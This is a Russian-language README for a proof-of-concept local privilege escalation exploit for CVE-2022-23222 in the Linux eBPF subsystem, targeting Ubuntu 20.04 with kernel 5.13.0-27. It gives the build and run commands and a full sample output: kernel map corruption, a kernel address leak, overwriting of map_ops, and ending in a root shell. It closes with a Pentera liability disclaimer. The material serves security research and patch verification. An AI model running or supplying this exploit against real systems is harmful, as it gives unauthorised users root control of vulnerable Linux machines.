
Это POC для CVE-2022-23222, уязвимости локального повышения привилегий. Этот POC написан для Ubuntu 20.04 с версией ядра 5.13.0-27-generic, но другие версии ядра также уязвимы. Подробный анализ эксплойта читайте в нашей статье.
Убедитесь, что libbpf установлен, так как он требуется для эксплойта.
Чтобы скомпилировать POC, выполните следующую команду:
make
Чтобы выполнить эксплойт, запустите следующий исполняемый файл:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
Код, описанный в данном уведомлении (далее — «Код»), предоставляется на условиях «как есть» и «как доступно» и может содержать ошибки, дефекты и другие недостатки. Вам рекомендуется защитить важные данные и соблюдать осторожность. Используя данный Код, вы соглашаетесь с тем, что Pentera не несёт перед вами ответственности за любые претензии, связанные с Кодом. Pentera отказывается от любой ответственности за прямые, косвенные, случайные, штрафные, примерные, особые или косвенные убытки, даже если Pentera или её связанные стороны были уведомлены о возможности таких убытков. Pentera не берёт на себя обязательств по обновлению Кода или данного уведомления.